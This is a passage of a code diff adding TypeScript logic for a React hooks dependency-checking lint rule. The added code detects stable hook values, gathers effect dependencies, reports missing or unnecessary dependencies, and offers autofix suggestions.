+        if (init.type !== 'CallExpression') {
+          return false;
+        }
+        let callee: Expression | PrivateIdentifier | Super = init.callee;
+        // Step into `= React.something` initializer.
+        if (
+          callee.type === 'MemberExpression' &&
+          'name' in callee.object &&
+          callee.object.name === 'React' &&
+          callee.property != null &&
+          !callee.computed
+        ) {
+          callee = callee.property;
+        }
+        if (callee.type !== 'Identifier') {
+          return false;
+        }
+        const definitionNode: VariableDeclarator = def.node;
+        const id = definitionNode.id;
+        const {name} = callee;
+        if (name === 'useRef' && id.type === 'Identifier') {
+          // useRef() return value is stable.
+          return true;
+        } else if (
+          isUseEffectEventIdentifier(callee) &&
+          id.type === 'Identifier'
+        ) {
+          for (const ref of resolved.references) {
+            // @ts-expect-error These types are not compatible (Reference and Identifier)
+            if (ref !== id) {
+              useEffectEventVariables.add(ref.identifier);
+            }
+          }
+          // useEffectEvent() return value is always unstable.
+          return true;
+        } else if (
+          name === 'useState' ||
+          name === 'useReducer' ||
+          name === 'useActionState'
+        ) {
+          // Only consider second value in initializing tuple stable.
+          if (
+            id.type === 'ArrayPattern' &&
+            id.elements.length === 2 &&
+            isArray(resolved.identifiers)
+          ) {
+            // Is second tuple value the same reference we're checking?
+            if (id.elements[1] === resolved.identifiers[0]) {
+              if (name === 'useState') {
+                const references = resolved.references;
+                let writeCount = 0;
+                for (const reference of references) {
+                  if (reference.isWrite()) {
+                    writeCount++;
+                  }
+                  if (writeCount > 1) {
+                    return false;
+                  }
+                  setStateCallSites.set(reference.identifier, id.elements[0]);
+                }
+              }
+              // Setter is stable.
+              return true;
+            } else if (id.elements[0] === resolved.identifiers[0]) {
+              if (name === 'useState') {
+                const references = resolved.references;
+                for (const reference of references) {
+                  stateVariables.add(reference.identifier);
+                }
+              }
+              // State variable itself is dynamic.
+              return false;
+            }
+          }
+        } else if (name === 'useTransition') {
+          // Only consider second value in initializing tuple stable.
+          if (
+            id.type === 'ArrayPattern' &&
+            id.elements.length === 2 &&
+            Array.isArray(resolved.identifiers)
+          ) {
+            // Is second tuple value the same reference we're checking?
+            if (id.elements[1] === resolved.identifiers[0]) {
+              // Setter is stable.
+              return true;
+            }
+          }
+        }
+        // By default assume it's dynamic.
+        return false;
+      }
+
+      // Some are just functions that don't reference anything dynamic.
+      function isFunctionWithoutCapturedValues(
+        resolved: Scope.Variable,
+      ): boolean {
+        if (!isArray(resolved.defs)) {
+          return false;
+        }
+        const def = resolved.defs[0];
+        if (def == null) {
+          return false;
+        }
+        if (def.node == null || def.node.id == null) {
+          return false;
+        }
+        // Search the direct component subscopes for
+        // top-level function definitions matching this reference.
+        const fnNode: Node = def.node;
+        const childScopes = componentScope?.childScopes || [];
+        let fnScope = null;
+        for (const childScope of childScopes) {
+          const childScopeBlock = childScope.block;
+          if (
+            // function handleChange() {}
+            (fnNode.type === 'FunctionDeclaration' &&
+              childScopeBlock === fnNode) ||
+            // const handleChange = () => {}
+            // const handleChange = function() {}
+            (fnNode.type === 'VariableDeclarator' &&
+              childScopeBlock.parent === fnNode)
+          ) {
+            // Found it!
+            fnScope = childScope;
+            break;
+          }
+        }
+        if (fnScope == null) {
+          return false;
+        }
+        // Does this function capture any values
+        // that are in pure scopes (aka render)?
+        for (const ref of fnScope.through) {
+          if (ref.resolved == null) {
+            continue;
+          }
+          if (
+            pureScopes.has(ref.resolved.scope) &&
+            // Stable values are fine though,
+            // although we won't check functions deeper.
+            !memoizedIsStableKnownHookValue(ref.resolved)
+          ) {
+            return false;
+          }
+        }
+        // If we got here, this function doesn't capture anything
+        // from render--or everything it captures is known stable.
+        return true;
+      }
+
+      // Remember such values. Avoid re-running extra checks on them.
+      const memoizedIsStableKnownHookValue = memoizeWithWeakMap(
+        isStableKnownHookValue,
+        stableKnownValueCache,
+      );
+      const memoizedIsFunctionWithoutCapturedValues = memoizeWithWeakMap(
+        isFunctionWithoutCapturedValues,
+        functionWithoutCapturedValueCache,
+      );
+
+      // These are usually mistaken. Collect them.
+      const currentRefsInEffectCleanup = new Map<
+        string,
+        {
+          reference: Scope.Reference;
+          dependencyNode: Identifier;
+        }
+      >();
+
+      // Is this reference inside a cleanup function for this effect node?
+      // We can check by traversing scopes upwards from the reference, and checking
+      // if the last "return () => " we encounter is located directly inside the effect.
+      function isInsideEffectCleanup(reference: Scope.Reference): boolean {
+        let curScope: Scope.Scope | null = reference.from;
+        let isInReturnedFunction = false;
+        while (curScope != null && curScope.block !== node) {
+          if (curScope.type === 'function') {
+            isInReturnedFunction =
+              curScope.block.parent != null &&
+              curScope.block.parent.type === 'ReturnStatement';
+          }
+          curScope = curScope.upper;
+        }
+        return isInReturnedFunction;
+      }
+
+      // Get dependencies from all our resolved references in pure scopes.
+      // Key is dependency string, value is whether it's stable.
+      const dependencies = new Map<string, Dependency>();
+      const optionalChains = new Map<string, boolean>();
+      gatherDependenciesRecursively(scope);
+
+      function gatherDependenciesRecursively(currentScope: Scope.Scope): void {
+        for (const reference of currentScope.references) {
+          // If this reference is not resolved or it is not declared in a pure
+          // scope then we don't care about this reference.
+          if (!reference.resolved) {
+            continue;
+          }
+          if (!pureScopes.has(reference.resolved.scope)) {
+            continue;
+          }
+
+          // Narrow the scope of a dependency if it is, say, a member expression.
+          // Then normalize the narrowed dependency.
+          const referenceNode = fastFindReferenceWithParent(
+            node,
+            reference.identifier,
+          );
+          if (referenceNode == null) {
+            continue;
+          }
+          const dependencyNode = getDependency(referenceNode);
+          const dependency = analyzePropertyChain(
+            dependencyNode,
+            optionalChains,
+          );
+
+          // Accessing ref.current inside effect cleanup is bad.
+          if (
+            // We're in an effect...
+            isEffect &&
+            // ... and this look like accessing .current...
+            dependencyNode.type === 'Identifier' &&
+            (dependencyNode.parent?.type === 'MemberExpression' ||
+              dependencyNode.parent?.type === 'OptionalMemberExpression') &&
+            !dependencyNode.parent.computed &&
+            dependencyNode.parent.property.type === 'Identifier' &&
+            dependencyNode.parent.property.name === 'current' &&
+            // ...in a cleanup function or below...
+            isInsideEffectCleanup(reference)
+          ) {
+            currentRefsInEffectCleanup.set(dependency, {
+              reference,
+              dependencyNode,
+            });
+          }
+
+          if (
+            dependencyNode.parent?.type === 'TSTypeQuery' ||
+            dependencyNode.parent?.type === 'TSTypeReference'
+          ) {
+            continue;
+          }
+
+          const def = reference.resolved.defs[0];
+          if (def == null) {
+            continue;
+          }
+          // Ignore references to the function itself as it's not defined yet.
+          if (def.node != null && def.node.init === node.parent) {
+            continue;
+          }
+          // Ignore Flow type parameters
+          if (
+            // @ts-expect-error We don't have flow types
+            def.type === 'TypeParameter' ||
+            // @ts-expect-error Flow-specific AST node type
+            dependencyNode.parent?.type === 'GenericTypeAnnotation'
+          ) {
+            continue;
+          }
+
+          // Add the dependency to a map so we can make sure it is referenced
+          // again in our dependencies array. Remember whether it's stable.
+          if (!dependencies.has(dependency)) {
+            const resolved = reference.resolved;
+            const isStable =
+              memoizedIsStableKnownHookValue(resolved) ||
+              memoizedIsFunctionWithoutCapturedValues(resolved);
+            dependencies.set(dependency, {
+              isStable,
+              references: [reference],
+            });
+          } else {
+            dependencies.get(dependency)?.references.push(reference);
+          }
+        }
+
+        for (const childScope of currentScope.childScopes) {
+          gatherDependenciesRecursively(childScope);
+        }
+      }
+
+      // Warn about accessing .current in cleanup effects.
+      currentRefsInEffectCleanup.forEach(
+        ({reference, dependencyNode}, dependency) => {
+          const references = reference.resolved?.references || [];
+          // Is React managing this ref or us?
+          // Let's see if we can find a .current assignment.
+          let foundCurrentAssignment = false;
+          for (const ref of references) {
+            const {identifier} = ref;
+            const {parent} = identifier;
+            if (
+              parent != null &&
+              // ref.current
+              // Note: no need to handle OptionalMemberExpression because it can't be LHS.
+              parent.type === 'MemberExpression' &&
+              !parent.computed &&
+              parent.property.type === 'Identifier' &&
+              parent.property.name === 'current' &&
+              // ref.current = <something>
+              parent.parent?.type === 'AssignmentExpression' &&
+              parent.parent.left === parent
+            ) {
+              foundCurrentAssignment = true;
+              break;
+            }
+          }
+          // We only want to warn about React-managed refs.
+          if (foundCurrentAssignment) {
+            return;
+          }
+          reportProblem({
+            // @ts-expect-error We can do better here (dependencyNode.parent has not been type narrowed)
+            node: dependencyNode.parent.property,
+            message:
+              `The ref value '${dependency}.current' will likely have ` +
+              `changed by the time this effect cleanup function runs. If ` +
+              `this ref points to a node rendered by React, copy ` +
+              `'${dependency}.current' to a variable inside the effect, and ` +
+              `use that variable in the cleanup function.`,
+          });
+        },
+      );
+
+      // Warn about assigning to variables in the outer scope.
+      // Those are usually bugs.
+      const staleAssignments = new Set<string>();
+      function reportStaleAssignment(writeExpr: Node, key: string): void {
+        if (staleAssignments.has(key)) {
+          return;
+        }
+        staleAssignments.add(key);
+        reportProblem({
+          node: writeExpr,
+          message:
+            `Assignments to the '${key}' variable from inside React Hook ` +
+            `${getSourceCode().getText(reactiveHook)} will be lost after each ` +
+            `render. To preserve the value over time, store it in a useRef ` +
+            `Hook and keep the mutable value in the '.current' property. ` +
+            `Otherwise, you can move this variable directly inside ` +
+            `${getSourceCode().getText(reactiveHook)}.`,
+        });
+      }
+
+      // Remember which deps are stable and report bad usage first.
+      const stableDependencies = new Set<string>();
+      dependencies.forEach(({isStable, references}, key) => {
+        if (isStable) {
+          stableDependencies.add(key);
+        }
+        references.forEach(reference => {
+          if (reference.writeExpr) {
+            reportStaleAssignment(reference.writeExpr, key);
+          }
+        });
+      });
+
+      if (staleAssignments.size > 0) {
+        // The intent isn't clear so we'll wait until you fix those first.
+        return;
+      }
+
+      if (!declaredDependenciesNode) {
+        if (isAutoDepsHook) {
+          return;
+        }
+        // Check if there are any top-level setState() calls.
+        // Those tend to lead to infinite loops.
+        let setStateInsideEffectWithoutDeps: string | null = null;
+        dependencies.forEach(({references}, key) => {
+          if (setStateInsideEffectWithoutDeps) {
+            return;
+          }
+          references.forEach(reference => {
+            if (setStateInsideEffectWithoutDeps) {
+              return;
+            }
+
+            const id = reference.identifier;
+            const isSetState = setStateCallSites.has(id);
+            if (!isSetState) {
+              return;
+            }
+
+            let fnScope: Scope.Scope | null = reference.from;
+            while (fnScope != null && fnScope.type !== 'function') {
+              fnScope = fnScope.upper;
+            }
+            const isDirectlyInsideEffect = fnScope?.block === node;
+            if (isDirectlyInsideEffect) {
+              // TODO: we could potentially ignore early returns.
+              setStateInsideEffectWithoutDeps = key;
+            }
+          });
+        });
+        if (setStateInsideEffectWithoutDeps) {
+          const {suggestedDependencies} = collectRecommendations({
+            dependencies,
+            declaredDependencies: [],
+            stableDependencies,
+            externalDependencies: new Set<string>(),
+            isEffect: true,
+          });
+          reportProblem({
+            node: reactiveHook,
+            message:
+              `React Hook ${reactiveHookName} contains a call to '${setStateInsideEffectWithoutDeps}'. ` +
+              `Without a list of dependencies, this can lead to an infinite chain of updates. ` +
+              `To fix this, pass [` +
+              suggestedDependencies.join(', ') +
+              `] as a second argument to the ${reactiveHookName} Hook.`,
+            suggest: [
+              {
+                desc: `Add dependencies array: [${suggestedDependencies.join(
+                  ', ',
+                )}]`,
+                fix(fixer) {
+                  return fixer.insertTextAfter(
+                    node,
+                    `, [${suggestedDependencies.join(', ')}]`,
+                  );
+                },
+              },
+            ],
+          });
+        }
+        return;
+      }
+      if (
+        isAutoDepsHook &&
+        declaredDependenciesNode.type === 'Literal' &&
+        declaredDependenciesNode.value === null
+      ) {
+        return;
+      }
+
+      const declaredDependencies: Array<DeclaredDependency> = [];
+      const externalDependencies = new Set<string>();
+      const isArrayExpression =
+        declaredDependenciesNode.type === 'ArrayExpression';
+      const isTSAsArrayExpression =
+        declaredDependenciesNode.type === 'TSAsExpression' &&
+        declaredDependenciesNode.expression.type === 'ArrayExpression';
+
+      if (!isArrayExpression && !isTSAsArrayExpression) {
+        // If the declared dependencies are not an array expression then we
+        // can't verify that the user provided the correct dependencies. Tell
+        // the user this in an error.
+        reportProblem({
+          node: declaredDependenciesNode,
+          message:
+            `React Hook ${getSourceCode().getText(reactiveHook)} was passed a ` +
+            'dependency list that is not an array literal. This means we ' +
+            "can't statically verify whether you've passed the correct " +
+            'dependencies.',
+        });
+      } else {
+        const arrayExpression = isTSAsArrayExpression
+          ? declaredDependenciesNode.expression
+          : declaredDependenciesNode;
+
+        (arrayExpression as ArrayExpression).elements.forEach(
+          declaredDependencyNode => {
+            // Skip elided elements.
+            if (declaredDependencyNode === null) {
+              return;
+            }
+            // If we see a spread element then add a special warning.
+            if (declaredDependencyNode.type === 'SpreadElement') {
+              reportProblem({
+                node: declaredDependencyNode,
+                message:
+                  `React Hook ${getSourceCode().getText(reactiveHook)} has a spread ` +
+                  "element in its dependency array. This means we can't " +
+                  "statically verify whether you've passed the " +
+                  'correct dependencies.',
+              });
+              return;
+            }
+            if (useEffectEventVariables.has(declaredDependencyNode)) {
+              reportProblem({
+                node: declaredDependencyNode,
+                message:
+                  'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +
+                  `Remove \`${getSourceCode().getText(
+                    declaredDependencyNode,
+                  )}\` from the list.`,
+                suggest: [
+                  {
+                    desc: `Remove the dependency \`${getSourceCode().getText(
+                      declaredDependencyNode,
+                    )}\``,
+                    fix(fixer) {
+                      return fixer.removeRange(declaredDependencyNode.range!);
+                    },
+                  },
+                ],
+              });
+            }
+            // Try to normalize the declared dependency. If we can't then an error
+            // will be thrown. We will catch that error and report an error.
+            let declaredDependency;
+            try {
+              declaredDependency = analyzePropertyChain(
+                declaredDependencyNode,
+                null,
+              );
+            } catch (error: unknown) {
+              if (
+                error instanceof Error &&
+                /Unsupported node type/.test(error.message)
+              ) {
+                if (declaredDependencyNode.type === 'Literal') {
+                  if (
+                    declaredDependencyNode.value &&
+                    dependencies.has(declaredDependencyNode.value as string)
+                  ) {
+                    reportProblem({
+                      node: declaredDependencyNode,
+                      message:
+                        `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +
+                        `because it never changes. ` +
+                        `Did you mean to include ${declaredDependencyNode.value} in the array instead?`,
+                    });
+                  } else {
+                    reportProblem({
+                      node: declaredDependencyNode,
+                      message:
+                        `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +
+                        'because it never changes. You can safely remove it.',
+                    });
+                  }
+                } else {
+                  reportProblem({
+                    node: declaredDependencyNode,
+                    message:
+                      `React Hook ${getSourceCode().getText(reactiveHook)} has a ` +
+                      `complex expression in the dependency array. ` +
+                      'Extract it to a separate variable so it can be statically checked.',
+                  });
+                }
+
+                return;
+              } else {
+                throw error;
+              }
+            }
+
+            let maybeID = declaredDependencyNode;
+            while (
+              maybeID.type === 'MemberExpression' ||
+              maybeID.type === 'OptionalMemberExpression' ||
+              maybeID.type === 'ChainExpression'
+            ) {
+              // @ts-expect-error This can be done better
+              maybeID = maybeID.object || maybeID.expression.object;
+            }
+            const isDeclaredInComponent = !componentScope.through.some(
+              ref => ref.identifier === maybeID,
+            );
+
+            // Add the dependency to our declared dependency map.
+            declaredDependencies.push({
+              key: declaredDependency,
+              node: declaredDependencyNode,
+            });
+
+            if (!isDeclaredInComponent) {
+              externalDependencies.add(declaredDependency);
+            }
+          },
+        );
+      }
+
+      const {
+        suggestedDependencies,
+        unnecessaryDependencies,
+        missingDependencies,
+        duplicateDependencies,
+      } = collectRecommendations({
+        dependencies,
+        declaredDependencies,
+        stableDependencies,
+        externalDependencies,
+        isEffect,
+      });
+
+      let suggestedDeps = suggestedDependencies;
+
+      const problemCount =
+        duplicateDependencies.size +
+        missingDependencies.size +
+        unnecessaryDependencies.size;
+
+      if (problemCount === 0) {
+        // If nothing else to report, check if some dependencies would
+        // invalidate on every render.
+        const constructions = scanForConstructions({
+          declaredDependencies,
+          declaredDependenciesNode,
+          componentScope,
+          scope,
+        });
+        constructions.forEach(
+          ({construction, isUsedOutsideOfHook, depType}) => {
+            const wrapperHook =
+              depType === 'function' ? 'useCallback' : 'useMemo';
+
+            const constructionType =
+              depType === 'function' ? 'definition' : 'initialization';
+
+            const defaultAdvice = `wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`;
+
+            const advice = isUsedOutsideOfHook
+              ? `To fix this, ${defaultAdvice}`
+              : `Move it inside the ${reactiveHookName} callback. Alternatively, ${defaultAdvice}`;
+
+            const causation =
+              depType === 'conditional' || depType === 'logical expression'
+                ? 'could make'
+                : 'makes';
+
+            const message =
+              `The '${construction.name.name}' ${depType} ${causation} the dependencies of ` +
+              `${reactiveHookName} Hook (at line ${declaredDependenciesNode.loc?.start.line}) ` +
+              `change on every render. ${advice}`;
+
+            let suggest: Rule.ReportDescriptor['suggest'];
+            // Only handle the simple case of variable assignments.
+            // Wrapping function declarations can mess up hoisting.
+            if (
+              isUsedOutsideOfHook &&
+              construction.type === 'Variable' &&
+              // Objects may be mutated after construction, which would make this
+              // fix unsafe. Functions _probably_ won't be mutated, so we'll
+              // allow this fix for them.
+              depType === 'function'
+            ) {
+              suggest = [
+                {
+                  desc: `Wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`,
+                  fix(fixer) {
+                    const [before, after] =
+                      wrapperHook === 'useMemo'
+                        ? [`useMemo(() => { return `, '; })']
+                        : ['useCallback(', ')'];
+                    return [
+                      // TODO: also add an import?
+                      fixer.insertTextBefore(construction.node.init!, before),
+                      // TODO: ideally we'd gather deps here but it would require
+                      // restructuring the rule code. This will cause a new lint
+                      // error to appear immediately for useCallback. Note we're
+                      // not adding [] because would that changes semantics.
+                      fixer.insertTextAfter(construction.node.init!, after),
+                    ];
+                  },
+                },
+              ];
+            }
+            // TODO: What if the function needs to change on every render anyway?
+            // Should we suggest removing effect deps as an appropriate fix too?
+            reportProblem({
+              // TODO: Why not report this at the dependency site?
+              node: construction.node,
+              message,
+              suggest,
+            });
+          },
+        );
+        return;
+      }
+
+      // If we're going to report a missing dependency,
+      // we might as well recalculate the list ignoring
+      // the currently specified deps. This can result
+      // in some extra deduplication. We can't do this
+      // for effects though because those have legit
+      // use cases for over-specifying deps.
+      if (!isEffect && missingDependencies.size > 0) {
+        suggestedDeps = collectRecommendations({
+          dependencies,
+          declaredDependencies: [], // Pretend we don't know
+          stableDependencies,
+          externalDependencies,
+          isEffect,
+        }).suggestedDependencies;
+      }
+
+      // Alphabetize the suggestions, but only if deps were already alphabetized.
+      function areDeclaredDepsAlphabetized(): boolean {
+        if (declaredDependencies.length === 0) {
+          return true;
+        }
+        const declaredDepKeys = declaredDependencies.map(dep => dep.key);
+        const sortedDeclaredDepKeys = declaredDepKeys.slice().sort();
+        return declaredDepKeys.join(',') === sortedDeclaredDepKeys.join(',');
+      }
+      if (areDeclaredDepsAlphabetized()) {
+        suggestedDeps.sort();
+      }
+
+      // Most of our algorithm deals with dependency paths with optional chaining stripped.
+      // This function is the last step before printing a dependency, so now is a good time to
+      // check whether any members in our path are always used as optional-only. In that case,
+      // we will use ?. instead of . to concatenate those parts of the path.
+      function formatDependency(path: string): string {
+        const members = path.split('.');
+        let finalPath = '';
+        for (let i = 0; i < members.length; i++) {
+          if (i !== 0) {
+            const pathSoFar = members.slice(0, i + 1).join('.');
+            const isOptional = optionalChains.get(pathSoFar) === true;
+            finalPath += isOptional ? '?.' : '.';
+          }
+          finalPath += members[i];
+        }
+        return finalPath;
+      }
+
+      function getWarningMessage(
+        deps: Set<string>,
+        singlePrefix: string,
+        label: string,
+        fixVerb: string,
+      ): string | null {
+        if (deps.size === 0) {
+          return null;
+        }
+        return (
+          (deps.size > 1 ? '' : singlePrefix + ' ') +
+          label +
+          ' ' +
+          (deps.size > 1 ? 'dependencies' : 'dependency') +
+          ': ' +
+          joinEnglish(
+            Array.from(deps)
+              .sort()
+              .map(name => "'" + formatDependency(name) + "'"),
+          ) +
+          `. Either ${fixVerb} ${
+            deps.size > 1 ? 'them' : 'it'
+          } or remove the dependency array.`
+        );
+      }
+
+      let extraWarning = '';
+      if (unnecessaryDependencies.size > 0) {
+        let badRef: string | null = null;
+        Array.from(unnecessaryDependencies.keys()).forEach(key => {
+          if (badRef !== null) {
+            return;
+          }
+          if (key.endsWith('.current')) {
+            badRef = key;
+          }
+        });
+        if (badRef !== null) {
+          extraWarning =
+            ` Mutable values like '${badRef}' aren't valid dependencies ` +
+            "because mutating them doesn't re-render the component.";
+        } else if (externalDependencies.size > 0) {
+          const dep = Array.from(externalDependencies)[0]!;
+          // Don't show this warning for things that likely just got moved *inside* the callback
+          // because in that case they're clearly not referring to globals.
+          if (!scope.set.has(dep)) {
+            extraWarning =
+              ` Outer scope values like '${dep}' aren't valid dependencies ` +
+              `because mutating them doesn't re-render the component.`;
+          }
+        }
+      }
+
+      // `props.foo()` marks `props` as a dependency because it has
+      // a `this` value. This warning can be confusing.
+      // So if we're going to show it, append a clarification.
+      if (!extraWarning && missingDependencies.has('props')) {
+        const propDep = dependencies.get('props');
+        if (propDep == null) {
+          return;
+        }
+        const refs = propDep.references;
+        if (!Array.isArray(refs)) {
+          return;
+        }
+        let isPropsOnlyUsedInMembers = true;
+        for (const ref of refs) {
+          const id = fastFindReferenceWithParent(
+            componentScope.block,
+            ref.identifier,
+          );
+          if (!id) {
+            isPropsOnlyUsedInMembers = false;
+            break;
+          }
+          const parent = id.parent;
+          if (parent == null) {
+            isPropsOnlyUsedInMembers = false;
+            break;
+          }
+          if (
+            parent.type !== 'MemberExpression' &&
+            parent.type !== 'OptionalMemberExpression'
+          ) {
+            isPropsOnlyUsedInMembers = false;
+            break;
+          }
+        }
+        if (isPropsOnlyUsedInMembers) {
+          extraWarning =
+            ` However, 'props' will change when *any* prop changes, so the ` +
+            `preferred fix is to destructure the 'props' object outside of ` +
+            `the ${reactiveHookName} call and refer to those specific props ` +
+            `inside ${getSourceCode().getText(reactiveHook)}.`;
+        }
+      }
+
+      if (!extraWarning && missingDependencies.size > 0) {
+        // See if the user is trying to avoid specifying a callable prop.
+        // This usually means they're unaware of useCallback.
+        let missingCallbackDep: string | null = null;
+        missingDependencies.forEach(missingDep => {
+          if (missingCallbackDep) {
+            return;
+          }
+          // Is this a variable from top scope?
+          const topScopeRef = componentScope.set.get(missingDep);
+          const usedDep = dependencies.get(missingDep);
+          if (
+            !usedDep?.references ||
+            usedDep?.references[0]?.resolved !== topScopeRef
+          ) {
+            return;
+          }
+          // Is this a destructured prop?
+          const def = topScopeRef?.defs[0];
+          if (def == null || def.name == null || def.type !== 'Parameter') {
+            return;
+          }
+          // Was it called in at least one case? Then it's a function.
+          let isFunctionCall = false;
+          let id: Identifier | undefined;
+          for (const reference of usedDep.references) {
+            id = reference.identifier;
+            if (
+              id != null &&
+              id.parent != null &&
+              (id.parent.type === 'CallExpression' ||
+                id.parent.type === 'OptionalCallExpression') &&
+              id.parent.callee === id
+            ) {
+              isFunctionCall = true;
+              break;
+            }
+          }
+          if (!isFunctionCall) {
+            return;
+          }
+          // If it's missing (i.e. in component scope) *and* it's a parameter
+          // then it is definitely coming from props destructuring.
+          // (It could also be props itself but we wouldn't be calling it then.)
+          missingCallbackDep = missingDep;
+        });
+        if (missingCallbackDep !== null) {
+          extraWarning =
+            ` If '${missingCallbackDep}' changes too often, ` +
+            `find the parent component that defines it ` +
+            `and wrap that definition in useCallback.`;
+        }
+      }
+
+      if (!extraWarning && missingDependencies.size > 0) {
+        let setStateRecommendation: {
+          missingDep: string;
+          setter: string;
+          form: 'reducer' | 'updater' | 'inlineReducer';
+        } | null = null;
+        for (const missingDep of missingDependencies) {
+          if (setStateRecommendation !== null) {
+            break;
+          }
+          const usedDep = dependencies.get(missingDep)!;
+          const references = usedDep.references;
+          let id;
+          let maybeCall;
+          for (const reference of references) {
+            id = reference.identifier;
+            maybeCall = id.parent;
+            // Try to see if we have setState(someExpr(missingDep)).
+            while (maybeCall != null && maybeCall !== componentScope.block) {
+              if (maybeCall.type === 'CallExpression') {
+                const correspondingStateVariable = setStateCallSites.get(
+                  maybeCall.callee,
+                );
+                if (correspondingStateVariable != null) {
+                  if (
+                    'name' in correspondingStateVariable &&
+                    correspondingStateVariable.name === missingDep
+                  ) {
+                    // setCount(count + 1)
+                    setStateRecommendation = {
+                      missingDep,
+                      setter:
+                        'name' in maybeCall.callee ? maybeCall.callee.name : '',
+                      form: 'updater',
+                    };
+                  } else if (stateVariables.has(id)) {
+                    // setCount(count + increment)
+                    setStateRecommendation = {
+                      missingDep,
+                      setter:
+                        'name' in maybeCall.callee ? maybeCall.callee.name : '',
+                      form: 'reducer',
+                    };
+                  } else {
+                    const resolved = reference.resolved;
+                    if (resolved != null) {
+                      // If it's a parameter *and* a missing dep,
+                      // it must be a prop or something inside a prop.
+                      // Therefore, recommend an inline reducer.
+                      const def = resolved.defs[0];
+                      if (def != null && def.type === 'Parameter') {
+                        setStateRecommendation = {
+                          missingDep,
+                          setter:
+                            'name' in maybeCall.callee
+                              ? maybeCall.callee.name
+                              : '',
+                          form: 'inlineReducer',
+                        };
+                      }
+                    }
+                  }
+                  break;
+                }
+              }
+              maybeCall = maybeCall.parent;
+            }
+            if (setStateRecommendation !== null) {
+              break;
+            }
+          }
+        }
+        if (setStateRecommendation !== null) {
+          switch (setStateRecommendation.form) {
+            case 'reducer':
+              extraWarning =
+                ` You can also replace multiple useState variables with useReducer ` +
+                `if '${setStateRecommendation.setter}' needs the ` +
+                `current value of '${setStateRecommendation.missingDep}'.`;
+              break;
+            case 'inlineReducer':
+              extraWarning =
+                ` If '${setStateRecommendation.setter}' needs the ` +
+                `current value of '${setStateRecommendation.missingDep}', ` +
+                `you can also switch to useReducer instead of useState and ` +
+                `read '${setStateRecommendation.missingDep}' in the reducer.`;
+              break;
+            case 'updater':
+              extraWarning =
+                ` You can also do a functional update '${
+                  setStateRecommendation.setter
+                }(${setStateRecommendation.missingDep.slice(
+                  0,
+                  1,
+                )} => ...)' if you only need '${
+                  setStateRecommendation.missingDep
+                }'` + ` in the '${setStateRecommendation.setter}' call.`;
+              break;
+            default:
+              throw new Error('Unknown case.');
+          }
+        }
+      }
+
+      reportProblem({
+        node: declaredDependenciesNode,
+        message:
+          `React Hook ${getSourceCode().getText(reactiveHook)} has ` +
+          // To avoid a long message, show the next actionable item.
+          (getWarningMessage(missingDependencies, 'a', 'missing', 'include') ||
+            getWarningMessage(
+              unnecessaryDependencies,
+              'an',
+              'unnecessary',
+              'exclude',
+            ) ||
+            getWarningMessage(
+              duplicateDependencies,
+              'a',
+              'duplicate',
+              'omit',
+            )) +
+          extraWarning,
+        suggest: [
+          {
+            desc: `Update the dependencies array to be: [${suggestedDeps
+              .map(formatDependency)
+              .join(', ')}]`,
+            fix(fixer) {
+              // TODO: consider preserving the comments or formatting?
+              return fixer.replaceText(
+                declaredDependenciesNode,
+                `[${suggestedDeps.map(formatDependency).join(', ')}]`,
+              );
+            },
+          },
+        ],
+      });
+    }
+
+    function visitCallExpression(node: CallExpression): void {
+      const callbackIndex = getReactiveHookCallbackIndex(node.callee, options);
+      if (callbackIndex === -1) {
+        // Not a React Hook call that needs deps.
+        return;
+      }
+      let callback = node.arguments[callbackIndex];
+      const reactiveHook = node.callee;
+      const nodeWithoutNamespace = getNodeWithoutReactNamespace(reactiveHook);
+      const reactiveHookName =
+        'name' in nodeWithoutNamespace ? nodeWithoutNamespace.name : '';
+      const maybeNode = node.arguments[callbackIndex + 1];
+      const declaredDependenciesNode =
+        maybeNode &&
+        !(maybeNode.type === 'Identifier' && maybeNode.name === 'undefined')
+          ? maybeNode
+          : undefined;
+      const isEffect = /Effect($|[^a-z])/g.test(reactiveHookName);
+
+      // Check whether a callback is supplied. If there is no callback supplied
+      // then the hook will not work and React will throw a TypeError.
+      // So no need to check for dependency inclusion.
+      if (!callback) {
+        reportProblem({
+          node: reactiveHook,
+          message:
+            `React Hook ${reactiveHookName} requires an effect callback. ` +
+            `Did you forget to pass a callback to the hook?`,
+        });
+        return;
+      }
+
+      if (!maybeNode && isEffect && options.requireExplicitEffectDeps) {
+        reportProblem({
+          node: reactiveHook,
+          message:
+            `React Hook ${reactiveHookName} always requires dependencies. ` +
+            `Please add a dependency array or an explicit \`undefined\``,
+        });
+      }
+
+      const isAutoDepsHook =
+        options.experimental_autoDependenciesHooks.includes(reactiveHookName);
+
+      // Check the declared dependencies for this reactive hook. If there is no
+      // second argument then the reactive callback will re-run on every render.
+      // So no need to check for dependency inclusion.
+      if (
+        (!declaredDependenciesNode ||
+          (isAutoDepsHook &&
+            declaredDependenciesNode.type === 'Literal' &&
+            declaredDependenciesNode.value === null)) &&
+        !isEffect
+      ) {
+        // These are only used for optimization.
+        if (
+          reactiveHookName === 'useMemo' ||
+          reactiveHookName === 'useCallback'
+        ) {
+          // TODO: Can this have a suggestion?
+          reportProblem({
+            node: reactiveHook,
+            message:
+              `React Hook ${reactiveHookName} does nothing when called with ` +
+              `only one argument. Did you forget to pass an array of ` +
+              `dependencies?`,
+          });
+        }
+        return;
+      }
+
+      while (
+        callback.type === 'TSAsExpression' ||
+        callback.type === 'AsExpression'
+      ) {
+        callback = callback.expression;
+      }
+
+      switch (callback.type) {
+        case 'FunctionExpression':
+        case 'ArrowFunctionExpression':
+          visitFunctionWithDependencies(
+            callback,
+            declaredDependenciesNode,
+            reactiveHook,
+            reactiveHookName,
+            isEffect,
+            isAutoDepsHook,
+          );
+          return; // Handled
+        case 'Identifier':
+          if (
+            !declaredDependenciesNode ||
+            (isAutoDepsHook &&
+              declaredDependenciesNode.type === 'Literal' &&
+              declaredDependenciesNode.value === null)
+          ) {
+            // Always runs, no problems.
+            return; // Handled
+          }
+          // The function passed as a callback is not written inline.
+          // But perhaps it's in the dependencies array?
+          if (
+            'elements' in declaredDependenciesNode &&
+            declaredDependenciesNode.elements &&
+            declaredDependenciesNode.elements.some(
+              el => el && el.type === 'Identifier' && el.name === callback.name,
+            )
+          ) {
+            // If it's already in the list of deps, we don't care because
+            // this is valid regardless.
+            return; // Handled
+          }
